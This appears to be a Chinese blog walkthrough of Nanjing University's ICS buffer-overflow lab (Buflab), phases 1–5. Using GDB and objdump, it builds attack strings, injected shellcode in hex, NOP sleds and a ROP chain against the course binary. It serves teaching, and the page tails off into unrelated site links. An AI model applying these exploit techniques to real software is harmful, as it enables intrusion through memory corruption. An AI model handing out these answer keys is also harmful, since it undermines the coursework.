当前位置: 首页 > news >正文

手把手教你用GDB和Objdump搞定南大ICS缓冲区溢出实验(Phase1-Phase5保姆级攻略)

南大ICS缓冲区溢出实验全阶段实战解析:从工具链使用到攻击构造

缓冲区溢出攻击是计算机安全领域最经典的漏洞利用方式之一,也是理解系统底层运行机制的重要窗口。南京大学《计算机系统基础》(ICS)课程中的Buflab实验,通过五个渐进式阶段(Phase1-Phase5),引导学生从简单的返回地址覆盖逐步深入到ROP攻击等高级技术。本文将聚焦工具链实战应用,以GDB调试和Objdump反汇编为核心,提供每个阶段的详细攻击构造指南。

1. 实验环境与工具准备

在开始实验之前,确保你的Linux环境已安装必要的开发工具链。以下是在Ubuntu/Debian系统上的准备工作:

sudo apt update sudo apt install -y build-essential gdb binutils

关键工具介绍

  • GDB (GNU Debugger):实验的核心调试工具,用于:

    • 查看运行时寄存器状态
    • 设置断点跟踪程序执行
    • 检查内存地址和内容
    • 反汇编特定函数
  • Objdump:静态分析工具,主要用于:

    • 查看可执行文件的汇编代码
    • 定位关键函数和变量的地址
    • 分析程序的控制流结构

提示:建议在实验过程中保持两个终端窗口,一个用于运行程序,另一个专门用于GDB调试,方便快速切换。

2. Phase1:基础返回地址覆盖

第一阶段的目标是通过修改返回地址,使得程序跳过将%rdi寄存器置零的指令。以下是详细步骤:

2.1 定位关键地址

首先使用objdump分析程序:

objdump -d buflab > buflab.asm

在生成的汇编文件中查找do_phase函数,你会发现类似这样的关键片段:

4008c7: bf 00 00 00 00 mov $0x0,%edi 4008cc: e8 9f ff ff ff callq 400870 <message> 4008d1: 48 83 c4 38 add $0x38,%rsp

我们需要让程序跳过4008c7处的mov指令,直接执行4008d1

2.2 构造攻击字符串

通过分析栈帧结构,确定缓冲区起始于%rsp+0x10,大小为0x28字节。构造的攻击字符串格式为:

[0x28字节填充] + [目标地址(小端格式)]

具体实现:

python -c "print('\x00'*0x28 + '\xd1\x08\x40\x00')" > phase1.txt

2.3 GDB验证

在GDB中验证攻击效果:

gdb buflab (gdb) break *0x4008c7 (gdb) run < phase1.txt (gdb) info registers rdi

确认在断点处%rdi不为0,且程序跳过了mov指令。

3. Phase2:代码注入与执行

第二阶段需要注入自定义汇编代码来修改全局变量buffer_overflowed

3.1 定位关键变量地址

objdump -t buflab | grep buffer_overflowed

输出类似:

00000000006021b4 g O .bss 0000000000000004 buffer_overflowed

3.2 构造shellcode

编写汇编指令实现:

  1. 设置buffer_overflowed=1
  2. 跳转到正常流程

对应的机器码:

mov $0x1, 0x6021b4 push $0x400a89 ret

十六进制表示:

C7 04 25 B4 21 60 00 01 00 00 00 68 89 0A 40 00 C3

3.3 确定缓冲区地址

在GDB中运行程序并中断在do_phase开始处:

(gdb) break do_phase (gdb) run (gdb) print/x $rsp+0x10

假设输出为0x3ffff80,这就是我们的shellcode注入地址。

3.4 完整攻击字符串构造

考虑secret_number检查,最终格式为:

[shellcode] + [填充] + [secret_number重复] + [返回地址(缓冲区地址)]

示例:

\xC7\x04\x25\xB4\x21\x60\x00\x01\x00\x00\x00\x68\x89\x0A\x40\x00\xC3 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xEF\x84\x7F\x13\xEF\x84\x7F\x13\xEF\x84\x7F\x13\xEF\x84\x7F\x13 \x80\xFF\xFF\x03

4. Phase3:带参数的函数调用

第三阶段需要在攻击代码中实现函数调用和参数准备。

4.1 分析目标函数

visit函数的C语言形式:

int visit(int* a, int* b) { if(b[0]<0) return 0; else return a[b[0]]+visit(a+b[0]+1,b+1); }

所需数组为{1, 3, -1}

4.2 保护栈空间

为防止函数调用覆盖shellcode,需要在开始调整栈指针:

sub $0x50, %rsp ; 准备参数和调用 add $0x50, %rsp

4.3 完整攻击代码

十六进制形式:

48 83 EC 50 ; sub $0x50,%rsp C7 44 24 40 03 00 00 00 ; mov $0x3,0x40(%rsp) C7 44 24 44 01 00 00 00 ; mov $0x1,0x44(%rsp) C7 44 24 48 FF FF FF FF ; mov $0xffffffff,0x48(%rsp) 48 8D 7C 24 40 ; lea 0x40(%rsp),%rdi 48 C7 C6 E1 09 40 00 ; mov $0x4009e1,%rsi FF D6 ; call *%rsi 48 83 C4 50 ; add $0x50,%rsp 68 E7 0A 40 00 ; push $0x400ae7 C3 ; ret

4.4 处理保存的RBP

do_phase开头有push %rbp,因此攻击字符串中需要包含正确的RBP值。通过GDB获取:

(gdb) break do_phase (gdb) run (gdb) x/gx $rsp

5. Phase4:对抗栈随机化

第四阶段引入了栈地址随机化,需要使用NOP雪橇技术。

5.1 NOP雪橇原理

在shellcode前放置大量NOP指令(0x90),只要跳转到雪橇中的任意位置,都能滑行到shellcode。

5.2 确定最大栈地址

多次运行程序,观察栈地址变化:

(gdb) break do_phase (gdb) run (gdb) print/x $rsp

记录最大的RSP值,计算缓冲区起始地址。

5.3 构造攻击字符串

格式:

[NOP雪橇] + [shellcode] + [填充] + [返回地址(雪橇中间位置)]

示例:

\x90\x90\x90... (约200字节) \x48\x81\xEC\x00\x06\x00\x00... (Phase3的shellcode) ... \xD0\xFF\xFF\x03\x00\x00\x00\x00\x50\xFD\xFF\x03

6. Phase5:ROP攻击实战

第五阶段要求使用ROP(Return-Oriented Programming)技术修改字符串。

6.1 寻找gadget

分析程序中的特殊指令序列,特别是以ret(0xC3)结尾的片段。例如:

400928: 41 5f pop %r15 40092a: 41 5e pop %r14 40092c: 41 5d pop %r13 40092e: 41 5c pop %r12 400930: c3 retq

6.2 构造ROP链

利用gadget实现:

  1. 将参数pop到寄存器
  2. 调用opfunc3修改字符串
  3. 重复这个过程覆盖整个字符串

6.3 攻击字符串结构

[填充] + [保存的RBP] + [ROP链]

ROP链由多个"gadget地址 + 参数 + 函数地址"组成,例如:

28 09 40 00 00 00 00 00 ; gadget地址 20 00 00 00 00 00 00 00 ; 参数1 2C 00 00 00 00 00 00 00 ; 参数2 69 00 00 00 00 00 00 00 ; 参数3 48 00 00 00 00 00 00 00 ; 参数4 A8 20 60 00 00 00 00 00 ; 字符串地址 A5 08 40 00 00 00 00 00 ; opfunc3地址

缓冲区溢出实验不仅考验对系统底层的理解,更是工具链使用能力的综合体现。通过这五个阶段的实践,你已掌握了从基础漏洞利用到高级攻击技术的完整技能树。记住,这些技术应当仅用于合法的安全研究和教学目的。

http://www.jsqmd.com/news/534704/

相关文章:

  • Bespoke Curator实战指南:3大主流LLM集成与性能优化全攻略
  • LeetCode 3.无重复字符的最长子串|Python题解(滑动窗口最优版)
  • 从ELK迁移到阿里云SLS,我们团队一年省了XX万运维成本(实战复盘)
  • Misago:构建现代化社区论坛的全方位解决方案
  • YOLO X Layout开源镜像免配置部署:Gradio+ONNXRuntime开箱即用
  • 安装Claude Code 以及配置 Coding Plan 教程
  • Proteus仿真PCA9685踩坑实录:I2C波形正常但PWM无输出?手把手教你排查
  • 储能双向DCDC变换器的模型预测控制及仿真分析
  • 2026年电木板加工厂家推荐排行榜:绝缘电木板、耐高温电木板、治具及零配件定制切割加工专业实力解析 - 品牌企业推荐师(官方)
  • AI Agent 面试必问:设计一个写周报的 Agent,你会怎么答?
  • 利用快马平台快速构建copaw本地部署原型:十分钟搭建验证环境
  • 深度解析:oh-my-opencode智能代理架构设计与实现原理
  • ComfyUI-AnimateDiff-Evolved深度解析:掌握运动模块与上下文选项
  • 2026年玻纤板加工厂家推荐排行榜:定制/成品/绝缘件/治具/零切加工,耐高温绝缘玻纤板专业制造实力解析 - 品牌企业推荐师(官方)
  • nomic-embed-text-v2-moe部署案例:政务知识库多语种政策文件语义检索系统
  • ComfyUI工作流架构深度解析:从节点编排到企业级部署的完整技术栈
  • LeetCode 438.找到字符串中所有字母异位词|Python题解(滑动窗口最优版)
  • 单容水箱液位随动系统的模糊控制研究——基于‘化工与自动化仪表‘期刊论文复现
  • 2026年3月北京酒回收公司最新推荐:老酒回收、名酒回收、茅台酒回收、洋酒回收、红酒回收、五粮液酒回收公司选择指南 - 海棠依旧大
  • GitHub Actions:Python项目的CI/CD实践
  • 【20年架构师亲测】MCP插件安装成功率提升92%的7个关键操作(含SHA256校验与离线安装包获取路径)
  • 信奥赛网课水太深!家长选机构前,先看懂这4个坑
  • 离线音频转录全攻略:Buzz本地语音处理工具的高效应用指南
  • 老旧Mac图形性能重生计划:从卡顿到流畅的完整解决方案
  • 留言板
  • 嵌入式调试效率翻倍!玩转平头哥CDK的Watch窗口与串口打印(附实战技巧)
  • Solidity Patterns访问控制模式详解:构建安全的智能合约权限系统
  • 数据存储与运算-字面量
  • 接口测试总结
  • 7个步骤掌握DreamOmni2:多模态AI视觉创作工具从部署到精通